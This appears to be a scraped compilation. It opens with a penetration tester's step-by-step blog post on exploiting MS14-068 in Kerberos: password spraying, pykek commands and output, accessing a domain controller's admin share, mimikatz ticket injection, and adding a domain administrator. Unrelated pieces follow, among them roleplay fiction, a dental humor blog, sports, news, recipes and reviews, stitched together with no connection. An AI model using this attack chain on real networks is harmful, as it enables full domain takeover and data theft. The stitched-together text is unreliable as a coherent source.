From MS14-068 to Full Compromise – Step by Step
The MS14-068 flaw in Kerberos allows a regular authenticated domain account to elevate permissions to compromise an entire domain. Recently Sylvain Monne' (kudos and awesome work to Sylvain) released PoC code in order to gain access to a administrative share utilizing the Kerberos flaw. A regular user could grab a Kerberos token and then authenticate for example to a domain controllers shares. We were recently on a penetration test where the domain controllers were not patched appropriately and needed a way to escalate permissions in order to gain full access to the environment.
This blog post will walk through the steps taken in order to exploit the MS14-068 flaw and from there leverage it to add a domain administrative level account.
First, we needed a way into the network – since this was an external pentest we had a few options available for RCE. We ended up finding remote command execution from a vulnerable PHP extension on the customer website. Once we had access, it was a nix box – we established a reverse SSH connection out of the network back to our infrastructure. Now that we are now into the compromised box, we downloaded RIDENUM written by TrustedSec from here:
You can easily check this out from github on nix by running:
git clone https://github.com/trustedsec/ridenum
RIDENUM uses null sessions and RID cycling to enumerate the user accounts. Since we didn't have proper segmentation from the system compromised we had access to connect directly to the domain controllers. At this point we did not have a valid user account. Using RIDENUm we were able to enumerate the user accounts on the domain. Since RIDENUM gave us a full list of domain user accounts, we can use RIDENUM to do a password brute force for us. Usually you only do one or two as to not trigger alert thresholds or account lockout policies. In this case we used "Winter2014" and brute forced the entire domain using RIDENUM. Doing a quick brute force of Winter2014 yielded two regular user accounts.
Now we have regular user accounts, we needed to escalate permissions. First we used the latest version of Responder to check to see if the domain controller was vulnerable to MS14-068 (note that the IP addresses were changed):
root@tardis4:~/Responder# python FindSMB2UPTime.py 10.50.50.145
DC is up since: 2014-10-19 19:32:23
This DC is vulnerable to MS14-068
Since we know it's vulnerable now through responder, we needed to download the PoC "pykek" from Sylvain here:
You can download pykek using the following command:
git clone https://github.com/bidord/pykek/
Next we need to install a few dependencies, since this box was Debian (works on Kali too) you can issue the following commands:
First we need Kerberos support:
apt-get install krb5-user
Next we need to sync our time for the appropriate token with the DC:
apt-get install rdate
Next we sync our time with the vulnerable DC by issuing:
rdate -n 10.50.50.145
In order to use MS14-068 we need the FQDN, the SID of the user account, the username, the FQDN for the domain controller, and the password. FQDN is easy, just cat /etc/resolv.conf or do an nslookup on the IP address to find it.
Next we need the SID of the user. For this example we'll use the username of "bob" and password of "Winter2014".
In Linux, use rpcclient to connect to the DC with the credentials:
rpcclient -U bob 10.50.50.145
Enter Winter2014 for Bob's password.
Next use lookupnames bob. This will grab the sid, something similar to below:
rpcclient $> lookupnames bob
bob S-1-9-15-7855740087-32797987159-678678687-1900 (User: 1)
rpcclient $>
Now we should have everything we need.
Run python ms14-068.py from the checked out pykek exploit.
root@tardis4:~/ridenum/pykek# python ms14-068.py -u email@example.com -s S-1-9-15-7855740087-32797987159-678678687-1900 -p Winter2014 -d dc1.goat.corp

[+] Receiving TGS-REP from dc1.goat.corp... Done!
[+] Parsing TGS-REP from dc1.goat.corp... Done!
[+] Creating ccache file 'email@example.com'... Done!
Here's where we could just copy the Kerberos token and gain access to the file share if we wanted to. You could simply copy the email@example.com file to /tmp/krb5cc_0.
Next you could run smbclient to authenticate to the server:
smbclient -k -W goat.corp //dc1.goat.corp/c$ -k
OS=[Windows Server 2008 R2 Standard 7601 Service Pack 1] Server=[Windows Server 2008 R2 Standard 6.1]
smb: \>
This is fine, but how do you take this and leverage it to fully compromise the system and gain domain administrative level rights or elevate to something else?
You will need a Windows box for this and some willpower. First, since we have a reverse SSH tunnel we have written our own custom SSH VPN however there's some open source alternatives like SSHUTTLE if you want to VPN in through an SSH tunnel. We used ours instead, but you can do this step as long as you have a way to route appropriate communications from a Windows system from the attacker to the victim or use a non-occupied machine.
First, copy the email@example.com file to your Windows machine.
Logon to your own Windows VM as local user in the administrators group.
Ensure the DNS server configured in windows is that of the target organization, and you have routes in place to the domain controller. Since we were using our own SSH VPN script on a compromised system we had to add routes for the customers network back to our systems. If you are already internal, then you can skip all of these steps.
route add –p xxx.xxx.xxx.xxx MASK 255.255.xxx.xxx 10.50.1.1
Note that we used –p to make the route persist it will need to be there when the machine is restarted, so it needs to be sticky. We also had to change my DNS server to match that of the one from /etc/resolv.conf on the compromised system we had from earlier (php flaw).
We used the obtained credentials to join the domain (you could also find a system that the user is already logged into or has the ability to log into). The default polices usually allow each user to join the domain with three devices. We used the UI to do this but could easily use the net net join command. When prompted select "restart later".
Add the domain user to the local admins group.
Logon as the domain user.
Grab and unpack the mimikatz binaries from http://blog.gentilkiwi.com/mimikatz.
Find cmd on the start menu and right-click run as admin
klist purge
Should show no kerberos tickets.
mimikatz "kerberos::ptc c:\path\to\firstname.lastname@example.com"
Should now show the ticket.
Now launch Start and run then type:
We found we had to do this before things worked properly. Not sure why, it does not appear to alter the contents of the ticket cache.
Open up MMC. Add the Users and Computers snap-in
Change to the domain controller you get the tgt from and voila. You can now add yourself a domain administrator account or add the current user you are logged into as a domain administrator.

Very few people do not like Halloween and I was definitely not part of them. I have always liked the celebration, particularly when I was a little girl just because of all the candies I could eat that day. Things are a bit different now. I still cannot help myself from eating too many candies but now the most important thing to me was having fun and spending time with my closest relatives. The past years, I had been celebrating with my former husband and my closest friends. This year, there would be no difference because I would celebrate it with my best friend Lexie who I was supposed to meet here, at Lake Merced. Speaking of her, I could hear her familiar voice screaming my name through the crowd. I turned towards her and smiled. She had no idea how happy I was to see her at last. « I'm fine now that we're together. What about you? » I embraced my BFF. « We haven't seen each other for soooo long. » Sadly, it was really difficult for us to hang out together with our respective busy schedules. And lately, I felt quite alone even if I could meet with some other friends. « And now there are so much to tell each other, so much to do together in so little time… » But I was the kind of woman who always looked on the bright side: « So let's have some fun! » Of course, I needed to talk to her about everything that happened the past few weeks but I did not want to ruin our outing. « D'ya have any idea about what we could do first? Eating some candy apples? Drinking some weird cocktails? » Remember… I told you there was a lot we could do.sian
I was glad to know we were both looking forward to this. Of course, I did not expect less from my BFF. But I was so pleased to hear that from her. After all, when it comes to love or friendship, nothing matters more than knowing the persons you've always cared about feel the same about you. And, at this precise moment, if we were not running out of time to catch up, I would have probably been a little bit more touched by this "proof" of friendship. What about focusing on those cocktails? « I knew you would be interested! I've already spotted the stall since I'd arrived quite early. » I responded with a barely concealed enthusiasm. I grabbed her arm and guided her through the crowd. « Can't remember the last time I actually kidnapped you. » I joked, to enhance this habit of mine to pull on her arm before dragging her to some place. A few minutes later, we were reading very carefully the cocktails list. «I'll go for the Liquefied Ghost Cocktail! » I told my friend when I had finally made up my mind between all the alternatives. « But I'll definitely taste the Mr Hyde Potion one day or another. » I added before we ordered our drinks and went to sit at a nearby table. « So… Tell me… What have you been up to lately? » I asked to my friend who probably was about to do the same. Waiting for her answer, I took a sip of my drink. « I didn't expect liquefied ghosts to taste that good by the way. » I winked at her, putting on a smile. sian
I could not help laughing when Lexie told me she would order the other drink I had been hesitating to take just before. There was nothing really funny about it but a little bird told me I was one of the reasons of her choice. « I hope you won't bother if I take a sip from your drink then… I'm really curious about it. » And there was something else I was really curious about : what Lexie have been up to lately. Fortunately, I had not started to drink my cocktail yet when I heard the news… because I would have probably choked on it. « You did what?! » I have been hearing a lot about the guy next door from her but I really did not see that one coming. « What the hell had happened between you two for you to go that far? You better tell me everything. » All of a sudden, so many questions have come to my mind. And I would not let her go home tonight before she gave an answer at all of them. And later we might have interrupted our discussion to comment our drinks but I quickly refocused it on the subject. « And what about now? What's really going on between you two? Are you dating or something? » I could barely sit still on my chair with impatience. « And to be honest… I don't know yet if I should be glad or upset by the news. » I felt the need to admit that. After all, the man had annoyed my best friend before; how could I be completely happy with that?sian
As my BFF had accepted my request of tasting her beverage, I chuckled. I was acting like a child but I did not mind at all. There was no way I could be ashamed of my behavior in front of my closest friend. What's more we have been used to tell each other everything – even the most embarrassing facts – and that was one more reason for me being reckless. Nevertheless, I stopped acting like a fool after she declared she actually had sex with her annoying neighbor… when she was drunk. « The tequila could have helped for sure. But it seems like you weren't that indifferent to his charms before… that. » The guy was hot – I knew it – and, as she said, I would have probably done the same if I was in a similar situation. « Being single for a few months now… I can tell I would yield to temptation too. » I seemed to joke but, in fact, I was quite serious. The first guy sexy enough to seduce me would have a great chance to share a bed with me for one night since I have felt a little bit lonely those past few weeks. And I definitely was not willing to start a new serious relationship with anyone for now. Anyway… Here was not the point. What really mattered to me was the actual relationship between Lexie and her one night stand. « You two avoiding each other is probably for the best. You don't like the guy after all. » And that was the moment I had chosen to joke : « But you may appreciate him a bit now that you had a great time with him… don't you ? » Of course I did not expect them to fall in love or that kind of thing but I could guess it would be difficult to hate the man now.sian
Lexie was trying so hard to justify her doing. And I ? I was highly amused ! « If YOU did… yeah… I certainly would ! » She has always been far more reasonable than I could ever be. That's why I could totally get the situation that lead to such an event! And that's why, I also suspected her to have kind of fallen for him. At first, she did not want to admit it but she finally did it – probably because she could see she has not won me over as I was staring at her – and asked why I knew her so well. « How dare you asking ? We've known each other for 16 years! » After so many years of friendship, there was no way I could not know her as much as I do nowadays. Nevertheless, I had to admit something. « Honestly… I had no idea you actually like him for real. But… with or without some shots of tequila, you would never sleep with a man you don't appreciate a minimum. That's what I thought! » I drank a few more sips from my drink ; I was thinking of what could have happened to me since the divorce. Not much. I sighed. « I wish my life could be as interesting as yours... Mine is quite boring recently. And when something finally happens, I'm just making a fool of myself. » Otherwise, my best friend would probably have a good laugh when she would know it all. « And I'm so sick of Landon ! » I suddenly complained out of the blue. And I was quite pissed off to think of him, to think about what he did – and what I did… - that time when we met at the club… sian

How I Applied my Childhood Lessons to my Doctorate Degree
In 2010 my friend Jordan bet me $43 that I couldn't finish the mega-stack meal from the Coach House Restaurant in Coos Bay, Oregon. Two full racks of spicy ribs and a side of mashed potatoes later I was victorious, but also in the men's room regretting my decision. In dental school, pride can be dangerous. If achieving an ends causes you to become physically sick, maybe you should re-evaluate your goal of getting an A on the Radiology final.
As a youngster, I didn't know the difference between an alpaca and a llama. Eventually I learned that llamas are much bigger and can be characterized by their long banana shaped ears.
In dental school, just because something looks the same, doesn't mean it is the same. The mandibular lateral incisors have incisal edges with banana shaped distolingual twists when compared to their mandibular central counterparts. The details are important, pay attention to them, especially if they are banana shaped.
In elementary school, my favorite class was recess.
In dental school, my favorite class is playing Spike Ball at lunch. It's important to find a balance between acing tests and acing your classmates with a rubber ball and net.
In 8th grade my middle school hosted a pig scramble in November. Nothing quite says Thanksgiving like running after a greased pig. I ran that unfortunate hog down, clutched it tight, and held on to receive my blue ribbon. Somehow still, this triumph didn't land me a date to the 8th grade graduation dance.
In dental school, your goals may be slippery and illusive, but if you hold on tight to them, you will eventually get a stable job in a respected profession. This however does not guarantee you will find a spouse. That takes actual charisma and a personality.
One summer day, I was biking around town with a couple older grade-schoolers. After landing the jump successfully himself, one of the 5th graders convinced me to try to jump a creek on my bike by saying "it will be fun and you'll be cool". With that compelling argument and a head full of steam, I soared directly into creek.
In dental school, upperclassmen provide you with lots of good advice. Listen to that advice. They also have some bad advice. Don't listen to that advice. If you do, you may very will wind up in the middle of a creek. Just because one person had success with a particular method doesn't mean that it will work for you.
In high school, I wrote for the school newspaper. There was one occasion where I was having serious writers block the night before a print deadline. I ended up writing a story about how my childhood experiences had helped me get through high school. The article was mediocre but the art departments papier-mache masterpieces it contributed to were outstanding.
In dental school, when you have a print deadline for an ASDA blog and you have serious writers block, just go ahead and write an article about how your childhood experiences have helped you survive dental school. Likely your blog will be a flop, but regardless, thank your readers for making it to the very end and just be internally thankful this blog is digital and your hard work won't wind up a papier-mache parrot.

5 days that set the course for the Nationals
PITTSBURGH -- The Nationals were in turmoil by the end of the 2015 season. They didn't make the postseason, so they dismissed Matt Williams as manager.
In came Dusty Baker, who guided the Nats to their third National League East title. The veteran skipper hopes to take them further than the NL Division Series this October.
PITTSBURGH -- The Nationals were in turmoil by the end of the 2015 season. They didn't make the postseason, so they dismissed Matt Williams as manager.
In came Dusty Baker, who guided the Nats to their third National League East title. The veteran skipper hopes to take them further than the NL Division Series this October.
With that in mind, here are five key dates that changed the season for Washington.
1. The Nats hire Baker: Nov. 4, 2015
Following Bud Black's decision to decline the job after he initially agreed to terms, the Nationals hired Baker as their seventh manager in club history. Even before he managed a game in Washington, Baker called the Nats the most talented team he had. It helped that Bryce Harper and Max Scherzer were on the roster, but Baker brought brotherhood into the clubhouse.
Basketball great Bill Russell and NFL Hall of Fame coach Bill Walsh taught Baker that a close relationship between players brings a winning atmosphere. There were no reported disagreements between the players or the players and their manager like there were with Williams the year before.
Video: Baker, Nationals players on Dusty's first season
2. We can battle the Cubs: June 16, 2016
The Nationals showed one thing during their three-game home series against the Cubs, the best team in baseball: They will not go down without a fight. This game felt like it took place in late October, rather than mid June. It went back and forth in the late innings, but Jayson Werth got the final word with a walk-off single with two outs in the 12th as Washington won the rubber game, 5-4, in front of a sold-out crowd of 42,000 at Nationals Park.
3. Murphy represents Nats at Midsummer Classic: July 13
Throughout the season, Daniel Murphy carried the Nationals offensively. He has had a campaign for the ages, batting .347 with 25 home runs and 104 RBIs, all career highs. Remember, before the season started, the Nats traded for Reds second baseman Brandon Phillips, but he used his 10-and-5 rights to reject the trade. Washington then went in a different direction and signed Murphy to a three-year deal.

4. The Nationals' new everyday center fielder: July 26
The game against the Indians marked Trea Turner's first starting assignment in center, and he never left the position except for a few games at second base. He also became the everyday leadoff hitter after the team started the season with Ben Revere at the top of the order. Turner became the first rookie in franchise history with 20 or more stolen bases since Mike Lansing in 1993.

5. Nats acquire their closer: July 30
The team was not comfortable with Jonathan Papelbon as its ninth-inning man, especially after he allowed seven earned runs over a three-game span in July. It didn't help that his velocity was down. So, in need of a closer, Washington traded left-handers Taylor Hearn and Felipe Rivero to Pittsburgh for NL All-Star Mark Melancon. The Nationals are not crossing their fingers every time Melancon is on the mound, and he is 12-for-13 in save situations since he joined the club.

I am currently looking for a midwife that delivers at either LICH or St. Lukes Roosevelt. I am considering Chris McCloskey of Citi Midwifery and Catherine Clark of Bluebird Midwifery. Has anyone used them? Thoughts? Is there anyone else you suggest?
I don't know all the details (I'll look for the post when I get home), but I know there was a big deal with midwives in NYC. I think they're trying to do away with midwives in the city and they're trying to force people to go to hospitals. I know St. Vincents was a big backer of the midwives and now that they're closed, the midwives are having a hard time.
If I can't find it, try paging Liza on the NYC Nest, she's been trying to help spread the word and have people write their local senator or assembly person.
Here's one of her posts, I'll look for the other with the article.
At 36 weeks pregnant with an ob/gyn affiliated with cornell I decided to change providers. And Chris McCloskey was the only provider who would. My decision to switch was based on the child birth classes (Bradley) my husband and I were taking. It showed us what a typical hospital would do when trying to have a natural child birth and when I questioned my ob she did not seem to be quite the advocate. I am thankful to have met Chris...she was great. I was her first delivery at LICH and it was smooth. I also had a doula who worked wonders...highly recommend. Chris was very supportive, kind, on call no matter what and provided great advice.
Good luck with your decision!

Cooking Art History: The Original Celebrity Chefs and the Birth of Haute CuisineNovember 25, 2015
This blog was featured in The Huffington Post on November 25, 2015.
The Getty Research Institute's special exhibition The Edible Monument: The Art of Food for Festivals offers opportunities to travel through time and learn about culinary theatrics from the past.
In early modern Europe, food was spectacle. Between the 17th and 19th centuries, ostentatious court and civic banquets were de rigueur, and illustrations of these feasts endure in the books and prints designed for the Italian and French courts. Of course, the production of such lavish spectacles required a cook and a kitchen brigade. The early concept of the "celebrity chef" emerged in the late 16th century; by the 17th century, chefs were revered.

The housing market's growth was lauded by many industry investors, despite caution from market analysts over issues with recovery.
Improvements in recent property data, coupled with further government assistance for the residential market helped to increase investor belief that the situation is moving in a positive direction more quickly than economic growth, according to The Wall Street Journal. One of the biggest aids to the market's progress was the Federal Reserve's most recent quantitative easing initiative, in which it purchased a significant amount of mortgage-backed securities.
"Home sales tend to move higher over a five-year cycle, and this is year one," Kirk Mentzer, director of investment research with Huntington Asset Advisors, told the news source. "There's still a ways to go, even if the rise from here is just half of the current rally."
Market progress differs from pre-bubble situation
While the housing market's gains were stark in recent months, it is not like the level of increases recorded prior to the housing market crash. The news source explained that multiple investors have experienced impressive growth, but stock figures haven't been as overwhelmingly high.
Meanwhile, the housing market's growth rate is still far below the historical norm. The news source said the annual rate average for new single-family properties since the late 1950s is 1.5 million each year.
However, real estate records from the Department of Commerce showed housing starts during September reached a seasonally-adjusted annual rate of 872,000. Despite the figure still being far below the historical average, it was 15 percent higher than the previous month's rate of 758,000. Additionally, the figure rose nearly 35 percent year-over-year.
With steadily increasing home sales throughout this year, as well as low mortgage rates, housing conditions may be more attractive for not only investors, but also many consumers. The department's report also showed that housing completions last month rose 0.4 percent from August to a rate of 683,000. This was also nearly 14 percent higher than the same month in 2011.
Additionally, building permit authorizations rose, according to the report. September's rate of 894,000 was more than 11 percent higher than the previous month's level of 801,000, and 45.1 percent higher than September 2011, when the rate was 616,000. This could signal further housing starts and completions in the coming months.

Sprout Labs builds digital learning platforms that enable organisations to author, deliver and measure high-impact digital learning ecosystems.
The current state of workplace learning as we see it
Workplace learning is broken. Most organisations are not getting the results they need from their learning programs.
Some of the reasons for this are:
- our workplaces are rapidly becoming more complex and most people are not learning fast enough
- the complexity of the decisions that need to be made in the workplace is increasing
- eLearning has not fully realised its potential for transforming learning.
Experiential learning concepts like the 70:20:10 framework are beginning to make a difference. Learning at work needs to reflect the natural way we learn; it needs to restore our curiosity; and it needs to support our desire to learn with others.
We need new technologies and different ways of thinking. Sprout Labs is using a combination of learning ecosystems, next-generation learning technologies and design thinking methods to change how people learn at work.

The importance of tone in copywriting
A good writer can evoke emotion in their reader. They completely capture their attention and leave them hanging on every word. Great writers are able to build a rapport with their readers. The way the writer expresses themselves becomes like a familiar friend. Content writing may not be as theatrically dramatic but it still plays on this relationship that readers form with the material they have been presented.
The element that bridges the gap between writing words in black and white and forming a rapport with your audience is tone.
Tone of voice (TOV) is an effective tool to help your audience feel as if they are getting to know a person rather than a product or brand. Familiarity breeds comfort and people are more likely to spend money with companies or businesses they feel comfortable with.
Be consistent in your language
Consistency is probably the most crucial key to establishing a tone for your brand. Taking the time to develop the right tone for your content is the first step to drawing your target audience it. Make sure your tone matches the company objectives. Once you've established your tone, use it every time you attempt to engage with your audience even if you switch to a different platform or means of communication. The style and design can and should change depending on the medium being used to convey the message but the tone should remain the same. A consistent TOV gives the brand another element for the target audience to immediately recognise and that helps to reinforce their expectations of that brand or service (London School of Marketing).
Mind your words
Remember as you are writing that word choice plays a large role in how people will perceive your tone. For example, the word "coerced" has a manipulative connotation and will provoke a negative feeling in your reader while "suggested" has a more helpful connotation and will make your audience feel positively. As you write, do so with your target audience in mind. Write to them as if they were in front of you and you're having a conversation face to face. This will help you ensure that you are writing in a way that will make the consumer feel comfortable.
Great content draws your target audience in and makes them feel comfortable enough to trust your brand. A consistent TOV assists in forming a strong relationship that makes consumers feel your brand is reliable.

Miami Beach Mayor Philip Levine says it's "Us versus Tallahassee" in his first TV ad for the 2018 Florida governor's race.
Released Thursday, Levine's political committee All About Florida produced the ad, titled "Lead."
The 30-second spot, which introduces the Democratic gubernatorial candidate's vision for Florida, comes is part of an $800,000 ad buy across the state. The campaign will run for five weeks.
In it, Levine offers a direct message, senior adviser Christian Ulvert said in a statement Thursday announcing the ad, with a "call to action to do the right thing."
"This election cycle will come down to which candidate puts forward a bold agenda and can back it up with an actual record of getting things done," Ulvert added.
In the spot, Levine criticizes "Tallahassee" twice — the home of two of his Democratic opponents, former U.S. Rep. Gwen Graham and Mayor Andrew Gillum.
"Here in Florida, it's time … to address climate change by addressing Tallahassee's climate of denial. It's time to restore power back to the level where people live, instead of Tallahassee, where politicians live," Levine said.
"It's time to make a day's pay enough to avoid a lifetime of dread. Why a living wage? Because it's the right thing to do."

On 04-10.06.2016 the International Roerich Memorial Trust, Naggar, hosted the painting exhibition of the Manali-based artist Mrs. Anuradha Thalwal. The guest of honour at the opening ceremony was Mrs. Sadhna Sangar, a famous artist from Chandigarh, and a culture figure actively helping young artists to find their place in the world of art.
Anuradha Thalwal's exhibition in the IRMT
Since childhood Anuradha Thalwal has been displaying lively interest in painting. She spent her childhood in a mountain village in the Kangra Distt., Himachal Pradesh. She would go to the surrounding hills armed with a pencil and paper and endlessly draw scenery. She could not receive professional training in art but she did not give up her dream and continued to develop her artistic abilities herself.
In the present exhibition she exhibited her series of flowers. She genuinely likes tending to them at her residence and painting them, especially lilies.
Some of her works depict touching genre scenes: a woman waiting for her husband to return home, and the idyllic Pahari couple (a man playing pipe and his woman listening mesmerized in the backdrop of impressive Himalayan landscape).
Mountain nature captivates her with its beauty and serenity. In the exhibition one can see her beautiful mountain landscapes with waterfalls and snow-draped pines, views of Manali and other places in the Kullu valley, and the forest Bahu Lake in the beyond the Jalori Pass.
She works in acrylic, watercolour and oil, clearly preferring the latter. For the past three years she has been painting daily dividing her time between art and household chores. Anuradha says that art makes her day complete and adds value to her life.
Anuradha Thalwal's paintings ooze beauty, harmony and joie de vivre. Incidentally, this is her first exhibition, and from the bottom of our heart we would like to wish her energy and success in realizing her dream.

One of the things that you have to choose is the location. You should make sure that the area you select is not far from where you work. This will help ensure that you do not face struggles when you are going to your office. If you have kids you need to make sure that the pace you select in near their school.
The other important thing that you will have to do is to make sure that you have selected a place that you can afford. It is best to make sure that the place where you will be staying is not too expensive. This is paramount as it will see to it that you do not have a hard time with the payment. When you look at the pay, you should also consider some of the services that you will be getting when you stay in the apartment.

The one thing that you should do is to ensure that you have taken the time to look at the apartment. Take the time to inspect so that you can be sure that it is the right size that fits your needs. One of the most important things that you need to do before you go is to make sure that you understand the system of the building.
At times you might be in need of an apartment, but you do not have the time to shop around if this is the case, you should get a real estate agent to help you. It is paramount to ensure that you have taken the time to research if you want to get the best results. The reason that you should hire an agent is that they will listen to your needs and ensure that you get a place that you will fit right in.

The Brooklyn Brewery Mash tour - adventures in food, film, music, books and beer...
To promote the Brooklyn Brewery's MASH tour, filmmakers Landon Van Soest and Paul Trillo, created a stop motion tour of the borough. The 11 city tour brings the brewery's favorite aspects of Brooklyn culture; including food, film, music, books and beer. Keeping with the concept of touring, Landon and Paul shot over 3000 still photos to capture a glimpse of Brooklyn in under 60 seconds. The resulting piece is a fast paced, seamless transition between Brooklyn's various neighborhoods and establishments.
The MASH tour begins at SXSW in Austin and tours to 10 additional cities through the end of the year. For more information visit brooklynbrewerymash.com

Helllooo Monday! Another beautiful week with perfection weather, nothing but sunshine, and a whole lot to look forward to. Ya know who's going to see Tswift this weekend?! THIS GAL.
Also, our family is visiting from Scotland. SO, our weekend consisted of the beach, with a tad too much sun + snacks. Sunburnt for dayzzz. I feel like if you get sun once every 3 years, this is okay.. right?
Anyway, I'll keep this short and sweet so you can get into this recipe. WOW. Potato skins are definitely something I've 1) haven't had in years considering I gave up bacon way before even going vegetarian pre-vegan, and 2) actually really enjoyed before going vegetarian/vegan. I don't know if its a trend at the moment, but I've seen these "smashed" potatoes quite a lot on my instagram feed, and had to give them a try. If you know me, or just follow this blog and notice most of my recipes consist of potatoes, you know I'm potato obsessed. SO, not only did I need to "smashed" potatoes, but I had to make them interesting, and with that came a reconstructed potato skin. Viola!
Enjoy this tasty side dish, meal, or snack if you're into potatoes on potatoes on potatoes like I ;) Xx Sam
- 10-12 small/baby yellow potatoes
- Vegan sour cream!
- Shiitake bacon
- Vegan shredded cheese of choice (I used follow your heart brand)
- Olive oil
- Salt & Pepper to taste
COOKIN: Preheat your oven to 450 degrees fahrenheit. On a baking pan (with parchment or silpat down) drizzle your potatoes in olive oil and toss/roll around. Coat with some salt & pepper. Pop in the oven and cook for about 30 minutes, or until fork tender. Once ready, let rest for a few minutes, and then smash down lightly with a fork or potato masher. Drizzle a bit more oil over the potatoes and pop back into the oven for 10 minutes to crisp up! Lastly, add the cheese and cook for just 5 more minutes to melt. When finished, let cool for a bit before topping with sour cream and "bacon" (+ optional fresh chives). Enjoy!

Podcast: Download (Duration: 30:58 — 28.3MB)
I went into LEBANON convinced that I really didn't want to see another examination of the moral quandary that is the Middle East conflict. I came out of it — head and heart racing — convinced that I had seen one of the best films of the year. That's a considerable achievement, considering that LEBANON takes place primarily on one dark, constricted set, and that that set recreates a place that few of us would care to spend five minutes in, much less the 90 minutes of the film, much less — from the characters point of view — the desperate hours that form the opening day of the Lebanon War in 1982.
Save for the opening and closing shots, LEBANON is set completely within the confines of an tank, observing its crew — four Israeli boys in their twenties — as they get their first taste of war. Whatever we see of the outside world is only what they can see from inside, views limited to what can be observed through tiny windows and (tellingly) a gunsight. Whatever we can divine of the situation is only what they can figure out from those windows, from terse radio communications, and from limited dialogue with whichever superiors or purported allies drop down through their hatchway. In short, info is limited, which does not exempt the crew from making split-second decisions, many of them life-or-death. The experience is tense, claustrophobic, occasionally brutally graphic, and absolutely compelling; gripping drama with a higher goal.
It was a pleasure talking with Maoz about the motives and challenges of this incredible film. Click on the player to hear the interview.

Sacha Baron Cohen's love affair with America appears to be over, at least temporarily. The British comic's controversial new comedy, The Brothers Grimsby, has bombed at the North American box office with just $3.2m in its first weekend.
The spy spoof, which has made headlines in the US over a "Donald Trump has Aids" joke, landed in eighth place – Baron Cohen's lowest ever debut in North America, way behind The Dictator's $17.4m haul from 2012. By contrast, Borat bowed with $26.4m in 2006 and Bruno managed a whopping $30.6m opening in 2009.
The Brothers Grimsby, which was titled simply Grimsby in the UK, has been dogged in the US by claims Sony chose to bury the film rather than upset Trump and his supporters. The studio has denied the reports, but there have been suggestions the film was lightly marketed in North America, with minimal billboard and television advertising. Baron Cohen has been promoting the movie himself by showing it to celebrities such as the Kardashian family and asking them to post their reactions on social media.
The Brothers Grimsby, in which Baron Cohen plays a Liam Gallagher-like football-loving buffoon who discovers his brother (Mark Strong) is a secret agent, debuted in the UK on 24 February and has been met with mixed reviews. The Guardian's Peter Bradshaw wrote: "Sacha Baron Cohen brings his B-game – or maybe even his C-game – to this moderate new comedy that basically defeated my attempts to like it."
Elsewhere on the chart there was better news for Disney Animation Studio's Zootopia, which retained the No 1 spot with another $50m in receipts and has now scored $142m in just two weeks of release in North America. The tale of a city populated by talking animals hit $431m at the global box office this weekend after another record-breaking cycle in China.
The thriller pseudo-sequel 10 Cloverfield Lane also posted excellent results, opening with $25.2m in second place. Starring John Goodman, John Gallagher Jr and Mary Elizabeth Winstead in the story of a young woman trapped in a survivalist bunker by a man who claims the outside world is no longer safe, Dan Trachtenberg's film has been superbly reviewed. The Guardian's Jordan Hoffman wrote: "10 Cloverfield Lane does a spectacular job of capturing nightmare logic. You sense danger even if you can't explain it … All three actors are tremendous."
Two other new films made this week's top 10. Romantic comedy The Perfect Match landed in sixth place with $4.15m, while faith-based drama The Young Messiah scored $3.4m in seventh.
The Perfect Match, which centres on a charming playboy who finds himself lulled into a serious relationship, has been poorly reviewed. But The Young Messiah, about the seven-year-old Jesus, has received decent notices for a faith-based production. It currently boasts a 63% "fresh" rating on the review aggregator Rotten Tomatoes.
US and Canadian box office, 11-13 March
1. Zootopia: $50m. Total: $142.6m
2. 10 Cloverfield Lane: $25.2m - new
3. Deadpool: $10.8m. Total: $328m
4. London Has Fallen: $10.6m. Total: $38.8m
5. Whiskey Tango Foxtrot: $4.5m. Total: $14.5m
6. The Perfect Match: $4.1m - new
7. The Young Messiah: $3.4m - new
8. The Brothers Grimsby: $3.15m - new
9. Gods of Egypt: $2.5m. Total: $27.3m
10. Risen: $2.25m. Total: $32.3m

Naked Heart (2005)
Naked Heart, a collaborative work between Valerie Green and Montreal artist, Mariko Tanabe, is a passionate dance seeking to reveal the mysteries of the inner landscape of a woman. The evocative movement conjures up and expresses the stormy depths of a woman's memories, journeying from a fiery yet contained darkness toward the empowerment that she finds in the fullness and quietude of her own heart.
Loss & Desire (2003)
Loss and Desire is a solo danced through a voyage of the four elements using water, dirt, and fabric. The past is buried and the future is planted for renewal and rebirth in which the passion and desire for life can be felt. The imagery and text was motivated by the book "Death and the Dervish" by Mesa Selimovic about the Ottoman occupation of Bosnia.
The Shedding (2006)
The Shedding focuses on the physical and emotional transformations humans go through over the course of their lives, as they strip away habits and inhibitions. Dancers emerge from fabric cocoons on a voyage of casting away layers of their inner selves, gradually unearthing a pure self-awareness and freedom.
Hear Me, See Me (2004)
Here Me, See Me is an evening-length group piece reflecting the Albanian dancers' passion, individuality, and expressive ability to be heard and seen within their newly experienced contemporary dance form.
Klis (2002)
Klis is a performance loosely based on Serbian childhood games; linked together to take the dancers on a path of exploration, attempting to return to the carefree state of the child's mind, when each new encounter was an adventure to embrace and enjoy.
Homeland Inner Side (2000)
Homeland Inner Side is an evening-length multimedia production with live Serbian and gypsy music about the war in the former Yugoslavia.
Homeland Inner Side- Interaction Project (2001)
A collaboration combining the work of Valerie Green/Dance Entropy and Boris Caksiran's Serbian company ErgStatus.
A two-month project that toured throughout Serbia, Bosnia, and Italy made possible in part by the Belgrade Cultural Center and the Belgrade Summer Festival-BELEF

Have you ever found yourself at that crossroad between I'm going to burst into tears and have a panic attack and this is hilarious, my child is awesome, let me get my camera ? I feel like some of the best lifestyle photography truly happens when you simply let go, release control of a situation, and document. Because I've truly found it difficult to be both the mom and the photographer at the same time. Obviously I am not referring to a situation where a child is in danger or is doing something that puts their safety at risk. I'm talking about nitpicking, face wiping, and all those other "suggestions" we moms tend to give constantly. When I am constantly directing and correcting from behind the lens, not only am I missing out on those amazing moments unfolding before me, but I'm also tarnishing them. It's tempting to tell our children where to stand, how to play with their toy (because if they just held it up to the light like so it would make a killer "lifestyle" shot!) and even where to look. The beauty of true lifestyle photography is in its authenticity, its honesty, and its messiness. If you need to clean up your living room before you photograph your daughter quietly reading on the couch, not only do you risk missing out on the moment, but it becomes staged, artificial, and the beauty that is found in those real life shots suddenly disappears. Ok - moving on.
